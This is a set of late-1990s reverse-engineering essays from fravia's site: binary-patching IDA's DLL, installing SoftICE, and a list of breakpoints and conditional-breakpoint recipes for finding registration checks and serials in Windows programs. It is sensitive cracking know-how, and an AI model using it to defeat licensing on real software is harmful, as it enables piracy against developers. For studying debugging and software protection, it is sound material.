+ This is the last function op-code of this segment.

In this case there are nearly 5 bytes that can be changed without changing size
of the image body. This is what I have just called magic holes.

Of course, it can happens that there is no alignment padding on the image file,
but usually you would find some (and sometimes a lot).

To terminate about alignment, know that every segments have some, even the
".reloc"
one....

How do we code:
For many of you this will not represent a big issue, for the other, the most
simple
to do, is to copy interresting part of already coded function from our IDA.WLL
image.

Take for example the beginning of the idc_strlen function in order to push the
first
argument into the stack ( our function is fastcall convention, and call the

http://www.instinct.org/fravia/enh_ida.htm (16 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
runtime
function _getenv which is cdecl convention ...)

Then take the end part of idc_Name in order to return the result in an IDC
string.

To finish, you need to patch the arrIDCtokens array to add the appropriate
entries,
increment by one the arraysize, then patch fixup segment (move subsequent table
far
enought (4 bytes aligned) in order to add as many entries (there 3) into the
appropriate
table).

Of course, you do that under IDA it-self, then when the result is whatever you
want,
you generate the DIF file, then patch the genuine image file...

THE RESULT... (no all patched data reproduced)

.
.
.
CODE:004892F5 90 90 90 align 4
; We must think about alignment ( filled with NOP )
CODE:004892F8
CODE:004892F8 ;
--------------------------------------------------------------------------------------
CODE:004892F8 ; S u b r o u t i n e
CODE:004892F8
CODE:004892F8 idc__getenv proc near
CODE:004892F8 53 push ebx
CODE:004892F9 8B D8 mov ebx, eax
CODE:004892FB 56 push esi
CODE:004892FC 8B F2 mov esi, edx
CODE:004892FE 8B 43 01 mov eax, [ebx+1]
CODE:00489301 50 push eax
CODE:00489302 E8 D9 CB FA FF call _getenv
CODE:00489307 59 pop ecx
CODE:00489308 8B D6 mov edx, esi
CODE:0048930A E8 91 03 F8 FF call make_an_idc_string(char *)
CODE:0048930F 5E pop esi
CODE:00489310 5B pop ebx
CODE:00489311 C3 retn
CODE:00489311 idc__getenv endp
CODE:00489311
CODE:00489311 ;
-------------------------------------------------------------------------------------
CODE:00489312 00 00 00 00 ... db 0EEh dup(0)
; TODO: Add your specialized functions there :-))
CODE:00489312 ;
-------------------------------------------------------------------------------------
CODE:00489311 align 1000h
.
.
.

http://www.instinct.org/fravia/enh_ida.htm (17 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
DATA:0048BBB0 D0 BB 48 00+ dd offset a_getenv, offset idc__getenv,
offset vtyp_s ; <== This line added
DATA:0048BBB0 F8 92 48 00+
DATA:0048BBB0 F2 BB 48 00
DATA:0048BBBC 00 00 00 00 ... db 14h dup(0)
; this is the remainder of space we have generated
DATA:0048BBD0 5F 67 65 74 65+ a_getenv db '_getenv',0
; the IDC function name
DATA:0048BBD0 76 00
DATA:0048BBD8 34 01 00 00+ _Funcs dd 135h
; Incremented by 1
DATA:0048BBD8 40 AD 48 00+ dd offset arrIDCtokens.lp[3]
DATA:0048BBD8 64 96 40 00+ dd offset startup_409664(void)
DATA:0048BBD8 78 96 40 00 dd offset shutdown_409678(void)
DATA:0048BBE8 25 6C 69 00 aLi db '%li',0
DATA:0048BBEC 25 73 00 aS_14 db '%s',0
DATA:0048BBEF 02 vtyp_llss db VT_LONG
DATA:0048BBF0 02 vtyp_lss db VT_LONG
DATA:0048BBF1 01 vtyp_ss db VT_STR
DATA:0048BBF2 01 vtyp_s db VT_STR
DATA:0048BBF3 00 vtyp_0 db VT_VOID
DATA:0048BBF4 02 vtyp_llllll db VT_LONG
DATA:0048BBF5 02 vtyp_lllll db VT_LONG
DATA:0048BBF6 02 vtyp_llll db VT_LONG
DATA:0048BBF7 02 vtyp_lll db VT_LONG
DATA:0048BBF8 02 vtyp_ll db VT_LONG
DATA:0048BBF9 02 00 vtyp_l db VT_LONG, VT_VOID
DATA:0048BBFB 02 vtyp_lsw db VT_LONG
DATA:0048BBFC 01 04 00 vtyp_sw db VT_STR, VT_WILD, VT_VOID
DATA:0048BBFF 02 vtyp_llsl db VT_LONG
DATA:0048BC00 02 vtyp_lsl db VT_LONG
DATA:0048BC01 01 02 00 vtyp_sl db VT_STR, VT_LONG, VT_VOID
DATA:0048BC04 02 vtyp_llllls db VT_LONG
DATA:0048BC05 02 vtyp_lllls db VT_LONG
DATA:0048BC06 02 vtyp_llls db VT_LONG
DATA:0048BC07 02 vtyp_lls db VT_LONG
DATA:0048BC08 02 01 00 vtyp_ls db VT_LONG, VT_STR, VT_VOID
DATA:0048BC0B 01 02 02 00 vtyp_sll db VT_STR, VT_LONG, VT_LONG, VT_VOID
DATA:0048BC0F 02 01 02 02 02+ vtyp_lsllll db VT_LONG, VT_STR, VT_LONG, VT_LONG,
VT_LONG, VT_LONG, VT_VOID
DATA:0048BC0F 02 00
.
.
.
RELO:004B25D8 00 B0 08 00 FIXUP_0008B000 dd 8B000h
RELO:004B25DC F0 05 00 00 dd 5F0h
; <== Incremented by ...@+!#@ ... 8 (alignment is 4bytes for entry
list)
RELO:004B25E0 00 30 04 30 ... dw (offset arrIDCtokens+2C0h - offset
$org_00488000h), (offset arrIDCtokens+2C4h - offset $org_00488000h)
.
.
.
RELO:004B25E0 B0 3B B4 3B+ dw (offset addedToken - offset
$org_00488000h), (offset addedToken+4 - offset $org_00488000h) ; Thoses 3
entries added

http://www.instinct.org/fravia/enh_ida.htm (18 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
RELO:004B25E0 B8 3B DC 3B+ dw (offset addedToken+8 - offset
$org_00488000h), (offset lp_arrIDCtokens - offset $org_00488000h) ; this come from
move a previous EA+8 (reverse mode)
RELO:004B25E0 E0 3B E4 3B+ dw (offset lpfn_Shutdown_48BBE0 - offset
$org_00488000h), (offset lpfn_Startup_48BBE4 - offset $org_00488000h)
RELO:004B25E0 00 00 00 00 dw 2 dup((offset $org_00488000h - offset
$org_00488000h))
RELO:004B2BC8 00 C0 08 00 FIXUP_0008C000 dd 8C000h
RELO:004B2BCC 08 01 00 00 dd 108h
.
.
.
RELO:004B4524 00 00 00 00 ... db 0DCh dup(0)
RELO:004B4600 ?? ?? ?? ?? ... align 1000h

================================ END OF SECTIONS


===========================================================

And you may want to have a look at these idawll.dif differencies...

Before to let you play with this, I must apologize for my poor English...
I hope that this have disturb you too much because of laugh :-))

_ _
/ mjm /

You are deep inside fravia's pages of reverse engineering, choose your way out:

How to use our tools Our tools

homepage links anonymity +ORC students' essays academy database


antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?

(c) Jean-Marc 1998. All rights reserved

http://www.instinct.org/fravia/enh_ida.htm (19 of 19) [2/7/2001 3:09:10 PM]


siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners

The Ultimate Beginner


Session 1: SoftICE Install for Beginners Not Assigned

15 March 1998 by i_magnus


slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
I try to mantain a balance in favour of more advanced essays, as
anyone perusing my site knows, yet I receive myself so many
requests for help, by so many talented beginners, that I reckon we
should, at times, offer some real 'plain' BEGINNERS essays.
fra_00xx
Beginners essays can be either very simple and thoroughly
98xxxx
explained cracks (see for instance my own "cracking for
handle
dummies" serie) or more THEORETICAL essays on 'everydays
1100
cracking" aspects. Like this one, that I believe useful for all those
NA
(and there are many) that have had and will have some problems
PC
installing their LEGITIMATELY BOUGHT copy of sofice, our
most beloved debugger.
Be warned, this is very basic stuff, great for newbyes, yet it has
NO value at all for seasoned (or even half-seasoned) reversers.
There is a crack, a crack in everything That's how the light
gets in
Rating (x)Beginner ( )Intermediate ( )Advanced ( )Expert

This is an essay on how to install SoftICE 3.2 for beginners, and I mean Beginners.

The Ultimate Beginner


Session 1: SoftICE for Windows v 3.20 + v 3.22
Written by i_magnus

Introduction
Introduction
Hello there newbies! This is the first article in a series which will take you from an 'Ultimate Beginner', on to
become a full fledged cracker. I know, it sounds like a daunting task, but, as you will see, we can learn together.
In the first session I will show you how to install and setup the best debugger for windoze, SoftICE version 3.20.
What's that you say? You don't have SoftICE? Well go get it. It's on the NET everywhere. You can't swing a dead
cat around out there without hitting at least one copy. :-)
Try it out for the allowed period and then BUY it. It's a great tool and it deserve to be bought.

http://www.instinct.org/fravia/siceinst.htm (1 of 8) [2/7/2001 3:09:28 PM]


siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners

Tools required
NotePad.exe
or edit.com

Target's URL/FTP
You may be able to find and download a time limited trial copy of softice from many web-sites, yet not on fravia's
one. SoftICE update to 3.22 from NuMega

Essay
What is SoftICE?
SoftICE, by NuMega Technologies, is a debugger. A debugger is a software (or hardware) device that is used to
disassemble program code as it is running. Why would we want to do that? Well, if you have a bug in a program, it
is nice to be able to open up the program while it is running to find the bug and eradicate it.;=) Or just to see what
the bug is.
NOTE: A disassembler/debugger can only change the code that is in memory at the
moment. If you want to change the program code permanently you have to use a Hex
Editor. I recommend UltraEdit-32 version 5.0a by IDComp (http://www.idcomp.com/).

For instance, a lot of programs nowadays have a 'registration' bug. This insidious bug usually pops up at the
beginning of a program and asks you to input some arcane code. If you don't put in the right code then the program
limits what you can do, or wont run at all. Now why would any one release software that has bugs in it? Following
Micro$oft's lead, I guess. :P
Most Reverse Engineers (RE) will tell you that SoftICE is the very best debugger for breaking in and reversing
code. Now that it has the Universal Video driver, I would have to agree. Older versions of SoftICE (3.0 and below)
required you to use a video driver specific to your video card. The problem with these versions? They didn't have
drivers for all cards. My card (Creative Labs 3D Blaster PCI) wasn't supported. It was difficult to use this great
debugger when you couldn't see it's output. My computer would switch to SoftICE with the standard CTRL-D
hotkey, but my screen wouldn't. Now, with version 3.20 of SoftICE, they have incorporated a 'Universal Video
Driver' which works just fine with most video cards.
OK, so by now you have searched for and found the SoftICE 3.2 program and it is time to show you how to install
it.
Installing SoftICE
You should have found the install program for SoftICE in a zip file (si95win320.zip perhaps?). Unzip that file to
the c:\temp directory, or where ever you want to, and run setup.exe. This will start the install process for SoftICE
3.20.
Installation Directory
After all the boring welcome screens and registrations screens, Setup asks you for the directory where SoftICE will
be installed (FIG. 1). I chose C:\ICE, because it has a nice ring to it. Your results may differ ;). Be aware though,
later on when I use 'C:\ICE' to setup the Config.sys and AutoConfig.bat, you should use the directory where YOU
installed SoftICE. Other than that there is no difference.

http://www.instinct.org/fravia/siceinst.htm (2 of 8) [2/7/2001 3:09:28 PM]


siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners

Video Driver Selection


Go through all the initial screens (i.e., registration, License Agreement, etc.) until you get to the Display Adapter
Selection Screen (FIG. 2). Thumb through all the different display adapter cards and find yours. Be sure to test the
display with the handy 'TEST' button that they include. If you don't see a text message when you Test the driver,
then it isn't working correctly. Try another driver or use the 'Universal Video Driver'. This is the one that I used, as
you can see from FIG. 2.

http://www.instinct.org/fravia/siceinst.htm (3 of 8) [2/7/2001 3:09:28 PM]


siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners

Mouse Selection
When you get to the mouse driver screen (FIG. 3) select the type of mouse that you have. If you have a PS/2
mouse it will have a small circular connector on the end. A Serial mouse will have a 'D' type connecter. This is a
rectangular connector that has lock down screws on it. The 'D' type looks like a 'D', hence the name. If you do have
the Serial type, make sure you select the proper one, i.e., COM 1 or COM 2. Check the back of your computer to
see which Port it hooks up to. They should be labeled 1 and 2. Select the correct one, and we are off.

http://www.instinct.org/fravia/siceinst.htm (4 of 8) [2/7/2001 3:09:28 PM]


siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners

SoftICE System Configuration


The last screen you can edit is the Configuration screen. It has what you have set up so far, plus three (3) options
(FIG. 4). Select the last option-- "Do not make any changes." The changes that it would make wouldn't be the best
changes (as most automated ones aren't). We will make the required changes to the files ourselves.

http://www.instinct.org/fravia/siceinst.htm (5 of 8) [2/7/2001 3:09:28 PM]


siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners

Done
OK, you have selected the third option, and now we will press the 'NEXT' button and complete the installation.
Press 'FINISH' on the next screen and come back when it is done installing...
...
...Back already? OK, let's move on.
If you haven't already, download the patch from NuMega or some other site that has it, to Upgrade to version 3.22.
The file should be called SI322ServicePack95.exe. Run this .exe file (automatic setup) and then come back...
...
There that wasn't too hard was it?
Setup
Now we just have to setup the Config.sys and AutoExec.bat files to our liking. The setup I am about to show you
originally came from exact's Windows 95 Cracking tutorial. I have modified it a little to fit my system, as you will
to fit yours.
This setup will allow you to select whether or not you want to load SoftICE at startup. It uses the [menu] command
in config.sys and allows user selection of options.

-----------Begin File: C:\CONFIG.SYS--------------------------------

[menu]
menuitem SoftICE,Start Windows with 'Soft-Ice v3.22' Debugger [CTRL-D Popup]
menuitem NORM,Start Windows without Soft-Ice
menuitem DOSICE,Start DOS with 'S-ICE v2.62' Debugger [CTRL-D Popup]
menuitem DOS,Start DOS without Soft-Ice
menudefault SoftICE,10

[DOSICE]
e:\arena\emmsetup e:\arena\s-ice.exe
DEVICE=e:\arena\s-ice.exe /sym 50
[SoftICE]
[NORM]
[DOS]
[COMMON]
DEVICE=C:\WINDOWS\HIMEM.SYS
DEVICE=C:\OCTEK\CDR812.SYS /D:MSCD001 /V
FILES=40
BUFFERS=40

-------------------------END CONFIG.SYS------------------------------

This config will give 4 options: (Screen looks like this)

1. Start Windows with 'Soft-Ice v3.22' Debugger [CTRL-D Popup]


2. Start Windows without Soft-Ice
3. Start DOS with 'S-ICE v 2.62' Debugger [CTRL-D Popup]
4. Start DOS without Soft-Ice

http://www.instinct.org/fravia/siceinst.htm (6 of 8) [2/7/2001 3:09:28 PM]


siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners

Selection: 1 Time Remaining: 3

The 'menudefault' setting makes this default to SoftICE (selection 1) in 10 seconds. The start of each 'menuitem'
gives the value to jump to below the menu, and the value that %CONFIG% will be set to when we get to the
AUTOEXEC.BAT file. Case is important in this, so be careful that you keep everything the same. You can add
more menuitem 's if you choose, just remember to keep the case constant.
The third option is to load S-ice.exe, the DOS debugger from NuMega. Note the path of each program (ie,
e:\arena\emmsetup e:\arena\s-ice.exe). This is my path, it may not be yours.
Currently I can't get DOS Ice to run on my system; it gives me a GPF and pops up in SoftICE where I have to
reboot; but I keep the selection there just in case. If you have any suggestions that might help, please let me know.
Your devices would go in the [COMMON] section. The ones I have won't necessarily be the ones that you have.
OK, so let's take a look at the Autoexec.bat and see where we are.

-------------------Begin File: C:\AUTOEXEC.BAT-----------------------

REM***************** Common Stuff ******************

REM your common stuff would go here...

REM **************** SoftIce below here ******************

REM ********************************
REM ***** *****
REM ***** S O F T I C E 3.22 *****
REM ***** & S-ICE DOS v2.62 *****
REM ***** LOADER *****
REM ***** *****
REM ***** by *****
REM ***** Exact aka Siceboy *****
REM ***** i_magnus '98 *****
REM ***** *****
REM ********************************

GOTO %CONFIG%

:DOSICE
ECHO DOS Soft-ICE Loaded
GOTO END
:NORM
WIN
:COMMON
:END
eof
:SoftICE

http://www.instinct.org/fravia/siceinst.htm (7 of 8) [2/7/2001 3:09:28 PM]


siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners

WINICE.EXE
eof
-------------------------END AUTOEXEC.BAT---------------------------
As you can see, if we select option 1 in the Config.sys, then %CONFIG% is set to 'SoftICE' and we GOTO
SoftICE when Autoexec.bat runs.
If we select option 2, we goto COMMON, which just loads windoze.
If we had selected option 3, 'DOSICE', config sys would have loaded s-ice.exe as a device and then quit to DOS.
Finally, option 4, jumps to [DOS] in the Config.sys which just runs the [COMMON] files and when it gets to the
Autoexec.bat, it does the Common funtions and then not finding a :LABEL for :DOS, it quits to the command
prompt.

Final Notes
The main point of using this configuration is that you can decide at startup whether you want to run SoftICE for
DOS or SoftICE for Windows or nothing at all. I usually just have SoftICE for Windows installed by default.
So now that you have SoftICE installed what do you do with it? Well, now you can start learning from all those
tutorials that fravia+ has on his site :?)
Look for Session 2: An Ultimate Beginners Guide to using SoftICE 3.22, coming as soon as I finish writing it.

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer
period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its
protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/siceinst.htm (8 of 8) [2/7/2001 3:09:28 PM]


greysice.htm +Greythorne's SoftICE breakpoints

Softice's breakpoints, an interesting list


by +Greythorne
30 October 1997
Courtesy of Fravia's page of reverse engineering

/******************************************************\

+HCU NOTES:

Below is a nice handly little guide that answers the question:


'What can I breakpoint on in softice to find what I want?'

It was originally a decent win32 guide, but I have modified it


quite alot since I originally received it.

Credit goes to the original author for the easy to follow format
though it pains me to say i do not have a clue who it was who sent
me the original listing.

NEW USER NOTES:

(Yes I get these questions alot, so here I answer them)

To use these api, just flip into SoftICE and BPX MessageBoxA
(or any other call you want to bpx on)

THE ONES WITH 'A' AT THE END ARE 32-BIT CALLS,


so you will need to make sure that your WINICE.DAT file has been
modified to EXPORT the proper symbol files (in softice for '95 of course
since NT-ice uses 32 bit rather than the 16 bit calls you will need for many
apps)

Being redundant in case this file has been separated from the website,
your winice.dat file is in your softice'95 directory with the executable
(look in your autoexec.bat file for the location of WINICE.EXE if you
have forgotten it's install location)

EDITING WINICE.DAT TO INCLUDE 32-BIT CALLS

REMOVE THE SEMICOLONS to uncomment the particular ones you need,

Use THESE for now: (see ED!SON's tutorial for more info)

gdi32.dll
kernel32.dll
user32.dll

WELL - without anymore boring taglines, here it is...

+gthorne'97

http://www.instinct.org/fravia/greysice.htm (1 of 6) [2/7/2001 3:09:30 PM]


greysice.htm +Greythorne's SoftICE breakpoints

\******************************************************/

The Cracker's Guide of Common Win32 API Calls


---------------------------------------------

Reading & Writing Files


-----------------------
These are generic calls to read/write to a file, usually binary in nature:

ReadFile
WriteFile

more on locating file accesses:

SetFilePointer

GetSystemDirectory
GetSystemDirectoryA

These are the most common calls to read/write from/to a *.ini file
or a file of similar format.

for 16-bit win apps:

GetPrivateProfileString
GetPrivateProfileInt
WritePrivateProfileString
WritePrivateProfileInt

for 32-bit win apps:

GetPrivateProfileStringA
GetPrivateProfileIntA
WritePrivateProfileStringA
WritePrivateProfileIntA

Interrupt info:
_____________

file accesses (A couple by YOSHi)

bpint 21 if (ah==3d)
bpint 2f if (ah==01)

The Registry
------------
Create or delete a new key in the registry:

RegCreateKey
RegDeleteKey

RegCreateKeyA
RegDeleteKeyA

http://www.instinct.org/fravia/greysice.htm (2 of 6) [2/7/2001 3:09:30 PM]


greysice.htm +Greythorne's SoftICE breakpoints

Read a value from the currently open registry key:

RegQueryValue
RegQueryValueA

Open or close a registry key:

RegCloseKey
RegOpenKey

RegCloseKeyA
RegOpenKeyA

Dialog Boxes
------------
Get text or integer from a dialog box edit:

GetWindowText
GetDlgItemText

GetWindowTextA
GetDlgItemTextA

GetDlgItemInt

Open a message box, usually one that says "invalid registration":

MessageBox
MessageBoxA
MessageBoxExA
MessageBeep

and other ways to display text...

SENDMESSAGE
WSPRINTF

Time & Date


-----------
These get the time and date

GetSystemTime
GetLocalTime

SystemTimeToFileTime

Generating a Window
---------------------

http://www.instinct.org/fravia/greysice.htm (3 of 6) [2/7/2001 3:09:30 PM]


greysice.htm +Greythorne's SoftICE breakpoints

createwindow
createwindowexa
showwindow

bitblt (a type of memory move, similar to hmemcpy)

CD-ROM Calls (Donated by: +-=Riddler=-+)


----------------

GetDriveType (if eax=5 then it is a cdrom check)


GetDriveTypeA

GetDriveType Return Function codes:

Value Meaning
0 Drive Cannot Be determined
1 Root Dir Does not exist
2 DriveRemoveable
3 A Fixed Disk (HardDrive)
4 Remote Drive(Network)
5 Cd-Rom Drive
6 RamDisk

GetLogicalDrives
GetLogicalDrivesA

GetLogicalDriveStrings
GetLogicalDriveStringsA

OTHER CDROM INFORMATION


-----------------------

interrupt 2f is the mscdex interrupt

bpint 2f, al=0 ah=15 checks if mscdex installed

try breaking on file accesses as well

Window Numerical Inputs


----------------------------

GETWINDOWWORD
GETWINDOWLONG

Some other nice breakpoints from the ORC


-----------------------------------------------

BOZOSLIVEHERE
HMEMCPY
GLOBALGETATOMNAME

message breaks, not quite the same but completely useful


-----------------------------------------------------------

http://www.instinct.org/fravia/greysice.htm (4 of 6) [2/7/2001 3:09:30 PM]


greysice.htm +Greythorne's SoftICE breakpoints

BMSG xxxx WM_GETTEXT (good for passwords)


BMSG xxxx WM_COMMAND (good fro OK buttons)

the xxxx is of course the hwnd value, but important info:

assuming you are using wm_command to try to locate the button push,
you hwnd the result and see the hwnd of the button is 0324 and the
hwnd of the window is 0129

to find the button, use the window value, not the button value to bmsg on
(the other just won't work)

so for the example here, to find our button push we would

BMSG 0129 WM_COMMAND

Note *from the original author*


------------------------------
These aren't the only win32 api calls you need to know in order to crack
windows.There are many many more that programs will use, many are derivatives of
these calls.
Try substituting a W for the A at the end of some calls, or placingan Ex right before
the A. Also, in SoftIce, typing 'EXP GETPRIVATEPROFILE'will give you a list of all of
the procs to read from .ini files, and thereare more than the ones i have listed.

- - -

The above statement referring to many many calls is actually an uderstatement


Windows being as overbloated a mess of code as it is, the lists of calls is rather
insane.

in one of my OrcPaks, i released a list of wm_* calls


(shamelessly grep'ped from the windows header files)
and if you have seen the DOS interrupt files as well, you have only seen the tip of
the iceberg.

At one point I found it useful to go through the intlist and make a file full of all
references
to CD-ROM and MSCDEX calls alone (why do I mention these DOS interrupts in this file?
SIMPLE:
16-bit windows - which many programs still are written in and use today use mostly
DOS calls to
handle protection schemes - like file times, etc... but that is another file ;)

+gthorne'97

ps - anything you think I should have added but left out?

let me know - i am always open to suggestions

You are deep inside fravia's page of reverse engineering, choose your way out:

http://www.instinct.org/fravia/greysice.htm (5 of 6) [2/7/2001 3:09:30 PM]


greysice.htm +Greythorne's SoftICE breakpoints

How to use our tools


homepage links anonymity +ORC students' essays academy database
antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/greysice.htm (6 of 6) [2/7/2001 3:09:30 PM]


rhayader.htm Rhayader's SoftICE conditional breakpoints

Softice's conditional breakpoints settings and


macros
by Rhayader
30 October 1998
Courtesy of Fravia's page of reverse engineering

SoftICE conditional breakpoints


In my early cracking experience, I usually set a BPX for GetDlgItemTexta and
GetWindowTexta inside SoftIce, whenever I found a program that ask for serial. Entering
dummy code, and 'hoping' that SoftIce would pop up. Most of the time it works. Problem
is, after I hit F12 (P RET), I usually get lost inside the code. Wondering where's that
bloody text buffer that I can set a BPR with.
After digging into SoftIce docs, I finally found a better way to do it (It's in Chapter 7 of the
User Guide). IMHO, you should read it too. Some of the terms there might be hard to
understand if you were just started. But, hey, that's what The Forum is for, isn't it? :)
-----
My aim here is to get SoftIce show us the text buffer for the two Win32 APIs mentioned
above. I'll use breakpoint "action" to do that.
Let's take a look at GetWindowTexta first. It's declared as:
int GetWindowText( HWND hWnd, LPTSTR lpString, int nMaxCount );
GetWindowText use stdcall calling convention. That means that argument will be pushed
right to left. Since SoftIce pop up before the prologue code is executed, the EBP stack
frame isn't set up yet. So we had to use ESP to adressed the argument. Here's how the
stack will look like when SoftIce pop up:
...
[ESP+0Ch] - nMaxCount
[ESP+08h] - lpString
[ESP+04h] - hwnd
[ESP+00h] - return EIP
When the function return, GetWindowTexta will put the text it retrieved to the location
pointed to by lpString (LPTSTR is a long pointer to a null terminated string). Thus, we
had to use SoftIce's indirection operator (it's the * character, same as C language, see
Chapter 8 ;). For example, the command:

http://www.instinct.org/fravia/rhayader.htm (1 of 5) [2/7/2001 3:09:34 PM]


rhayader.htm Rhayader's SoftICE conditional breakpoints

D *(esp+8)
means, "show in data window, the location pointed to by the content of esp+8". Since,
this is a very common operation, SoftIce had a shorthand for it: esp->8. Allright then,
now we can set the breakpoint such as this:
BPX getwindowtexta DO "D esp->8;"
And when we hit F12, we return to the caller and the text we entered will sit nicely at the
top of the data window, waiting for us to set up a BPR with it :) Why don't we do a return
to the caller automatically? Well, in my case, the screen flashes, and I hate it. But, if you
want to try, you can set the breakpoint as:
BPX getwindowtexta DO "D esp->8;P RET;"
Now, let's take a look at GetDlgItemTexta. It is declared as:
UINT GetDlgItemText( HWND hDlg, int nIDDlgItem, LPTSTR lpString, int nMaxCount );
The only difference is nIDDlgItem, which is the ID of the control to get the text from. The
stack will look like this:
...
[ESP+10h] - nMaxCount
[ESP+0Ch] - lpString << here it is
[ESP+08h] - nIDDlgItem
[ESP+04h] - hwnd
[ESP+00h] - return EIP

And the breakpoint to set (I had a feeling that you already find out ;)
BPX getdlgitemtexta DO "D esp->C;"
Well, that's all my friends. If you didn't want to type it everytime you want to use it, then
you had to set up a macro for it. Read chapter 11 :D I'd like to tell you, but this became a
looong post already. See ya...

Setting breakpoint action in SoftICE...


You probably knew that GetWindowTexta and GetDlgItemtTexta will fail in a Delphi
program. Yet, putting a breakpoint on Windows message (BMSG) will placed you too far
from the calculation routine. So, I usually put a breakpoint when the program need to
find out, whether we are a registered user or not. For most programs this registration
information is usually stored in Windows' registry, some use ini file, and sometimes,
programs use a regfile. In this post I only tackles the registry. I'm sure you can extend

http://www.instinct.org/fravia/rhayader.htm (2 of 5) [2/7/2001 3:09:34 PM]


rhayader.htm Rhayader's SoftICE conditional breakpoints

this to include the .INI and regfile.


Putting the breakpoint in registry's API is easy. First, you must make sure that
ADVAPI32.DLL is loaded by SoftIce. You can check it with the "EXP regqueryvalueex"
command. If SoftIce already load ADVAPI32.DLL, it will respond with the address of the
routine. To set a breakpoint on registry read, we use the command:
BPX RegQueryValueExA
After that, you can start the program that you want to break and SoftIce will break
everytime the program read the registry. The problem here lies in "everytime". There will
be hundreds of calls that read the registry. And it's not fun to hit Ctrl+D several time. So,
we had to find a way, to make SoftIce stops only on the value that we are interested with.
We're gonna use conditional breakpoint to do that (User Guide Chapter 7, sub:
Conditional Breakpoints).
-----
We'll do a quick review for the API first. RegQueryValueEx is declared like this:
LONG RegQueryValueEx(
HKEY hKey, // handle of key to query
LPTSTR lpValueName, // address of name of value to query
LPDWORD lpReserved, // reserved
LPDWORD lpType, // address of buffer for value type
LPBYTE lpData, // address of data buffer
LPDWORD lpcbData // address of data buffer size
);
When SoftIce break, the stack will look like this:
...
[ESP+18h] - lpcbData
[ESP+14h] - lpData << this is where the return data will be put by Windoze
[ESP+10h] - lpType
[ESP+0Ch] - lpReserved
[ESP+08h] - lpValueName << this is the name of the data that will be
retrieve
[ESP+04h] - hKey
[ESP+00h] - return EIP

I guess you already knew that using a breakpoint action DO "D ESP->14;" will show the
retrieved data in SoftIce's data window after the function return.
Now, say for example, Regmon (http://www.sysinternals.com) telling us that the program
read the info from:
HKEY_CURRENT_USER\Software\Microsoft\Developer\Setup\RegisteredOwner
HKEY_CURRENT_USER\Software\Microsoft\Developer\Setup\RegisteredOrganization
Then, we can put a breakpoint in SoftIce such as this:

http://www.instinct.org/fravia/rhayader.htm (3 of 5) [2/7/2001 3:09:34 PM]


rhayader.htm Rhayader's SoftICE conditional breakpoints

BPX RegQueryValueExA IF *(ESP->8) == 'Regi' DO "D ESP->14;"


And SoftIce will only break when the registry read the ones that start with "Regi". Here is
the explanation:
1. You knew what ESP->8 is. Since Windoze passed an LPTSTR (pointer to
null-terminated string) to RegQueryValueExA, ESP->8 will evaluate to "the address
pointed to by the content of [ESP+8]". For more information with the operator, see User
Guide Chapter 8, sub: Operators. Also, see User Guide Chapter 7, sub: Referencing the
Stack in Conditional Breakpoint.
2. The SoftIce indirection operator * in *(ESP->8) will retrieve the content. Thus, the
expression *(ESP->8) will tell SoftIce that we need "the value stored in the address
pointed to by the content of [ESP+8]".
3. Now, the expression *(ESP->8) == 'Regi' means that the expression will evaluate to
TRUE, only if "the value stored in the address pointed to by the content of [ESP+8]" is
"equal" to "Regi". Why only use four character? Well, the * operator, only return
DWORD value (32-bit). So, we can only use the first 32-bit which is equal to four
character. Also, SoftIce will convert 'Regi' to 0x69676552 (it's Regi in little endian format
;). So, it's case-sensitive. I probably should note that, there is two equal sign, and it's a
single quote. The use of two equal sign and single quote is the same as C language.
Since the * operator return DWORD value, there will be a problem if we want to retrieve
only a WORD (16-bit) value. We had to use the SoftIce Word() function. You can see
User Guide Chapter 8, sub Forming Expressions, sub Built-in Functions, for the Word()
function. But, since most program align values/structures in 4-byte boundary, the use of
Word() function is quiet rare. The example that will follow is retrieve 16-bit value, yet we
can safely use it without the Word() function.
-----
If you can understand the above breakpoint, you probably began to wonder, "How
should I write the breakpoint if the program read a key and a name, and the first four
char is not equal?" Say, for example, it read from:
HKEY_CURRENT_USER\Software\Applied Insights\AI Explorer\UN
HKEY_CURRENT_USER\Software\Applied Insights\AI Explorer\SN
for the username and serial respectively. Issuing another breakpoint in
RegQueryValueExA won't work (duplicate breakpoint). But, we can add more conditions
to SoftIce. And we can set our breakpoint like this:
BPX RegQueryValueExA IF (*(ESP->8) == 'UN') || (*(ESP->8) == 'SN') DO "D ESP->14;"
The logical OR operator (||, two pipe characters) will make the expression evaluate to
TRUE if one of the condition (or both) is TRUE. Problem is, when you try to write it in
SoftIce, you will hit the SoftIce 80 characters command line limitation. Thus, we had to
create a macro for it (User Guide Chapter 11, sub: Working with Persistent Macros). We
can declare the macro such as:

http://www.instinct.org/fravia/rhayader.htm (4 of 5) [2/7/2001 3:09:34 PM]


rhayader.htm Rhayader's SoftICE conditional breakpoints

BPX RegQueryValueExA IF (*(ESP->8) == '%1') || (*(ESP->8) == '%2') DO "D ESP->14;"


And, name it to something like bpregqv. And when we want to use it, we just use:
BPREGQV UN SN
We can safely leave the single quote there in the macro. Because the value name will
always be a string (Unlike the return value which can be an integer).
------
That's all I guess. Hope this can help you.
Rhayader

